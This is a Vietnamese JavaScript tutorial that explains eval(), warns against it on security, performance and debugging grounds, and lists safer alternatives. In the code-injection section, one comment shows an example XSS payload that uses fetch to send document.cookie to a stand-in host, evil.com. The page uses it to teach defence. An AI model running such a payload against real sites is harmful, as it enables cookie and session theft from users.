Computer >> Hướng Dẫn Máy Tính >  >> Lập Trình >> JavaScript

Hàm eval() trong JavaScript: Cách dùng & Rủi ro bảo mật

Hàm eval() trong JavaScript cho phép thực thi một chuỗi ký tự (string) như thể nó là mã code JavaScript.

Cú pháp

eval(string)

Ví dụ cơ bản

var a = 30, b = 12;
var result1 = eval("a * b"); // 360
var result2 = eval("5 + 10"); // 15
console.log(result1, result2);

⚠️ TẠI SAO KHÔNG NÊN DÙNG eval() - RỦI RO NGHIÊM TRỌNG

1. Lỗ hổng bảo mật - Code Injection (Tiên quyết nhất)

Nếu chuỗi truyền vào eval() chứa dữ liệu do người dùng nhập (input form, URL param, API response, localStorage...), kẻ tấn công có thể chèn mã độc:

// Nguy hiểm!
var userInput = "alert('XSS')"; // Hoặc xấu hơn: "fetch('https://evil.com/steal?cookie='+document.cookie)"
eval(userInput); // Thực thi mã độc!

Điều này dẫn đến XSS (Cross-Site Scripting), đánh cắp cookie, session, keylogger, deface website...

2. Hiệu năng kém (Performance)

  • Engine JS (V8, SpiderMonkey...) không thể tối ưu hóa (JIT compile) code bên trong eval() vì nó động.
  • Chạy chậm hơn đáng kể so với code tĩnh.
  • Tạo scope riêng, gây rối tối ưu hóa biến.

3. Gỡ lỗi khó khăn (Debugging)

  • Stack trace không rõ ràng.
  • Breakpoint, source map không hoạt động tốt bên trong eval.

4. Phạm vi biến (Scope) gây nhầm lẫn

eval() truy cập được biến cục bộ (local scope) nơi nó được gọi, vi phạm nguyên tắc encapsulation, dễ gây bug phụ thuộc ngầm.

✅ CÁC THAY THẾ AN TOÀN & HIỆU QUẢ

  • Function Constructor (vẫn có rủi ro nhưng kém hơn eval): new Function('return ' + expr)()
  • Thư viện: math.js, expr-eval
  • Viết parser đơn giản (Shunting-yard algorithm)
  • Nhu cầuThay thế an toàn
    Tính toán biểu thức toán học từ chuỗi
    Truy cập thuộc tính đối tượng động: obj[propName] Dùng bracket notation: obj[propName] hoặc Optional chaining: obj?.propName
    Gọi hàm động: funcName() Dùng object map: const funcs = { funcA: () => ..., funcB: () => ... }; funcs[funcName]?.()
    Parse JSON JSON.parse() (Tuyệt đối an toàn, chuẩn)
    Template string đơn giản Template literals (ES6): \`Hello \${name}\`

    Trường hợp CHỈ ĐƯỢC DÙNG eval() (Rất hiếm)

    • Môi trường kiểm soát hoàn toàn (trusted code only), không có input người dùng.
    • Code generation tool, transpiler, REPL (console trình duyệt, Node.js REPL).
    • Legacy code không thể viết lại ngay, nhưng phải sandbox (iframe, Web Worker, CSP strict).

    Kết luận

    Đừng bao giờ dùng eval() trong production code. Nó là "cánh cửa sau" cho hacker và "chiếc gánh nặng" cho hiệu năng. Luôn tìm giải pháp thay thế an toàn hơn. Hiện đại hóa code với ES6+ modules, JSON, Map/Object map, thư viện chuyên dụng.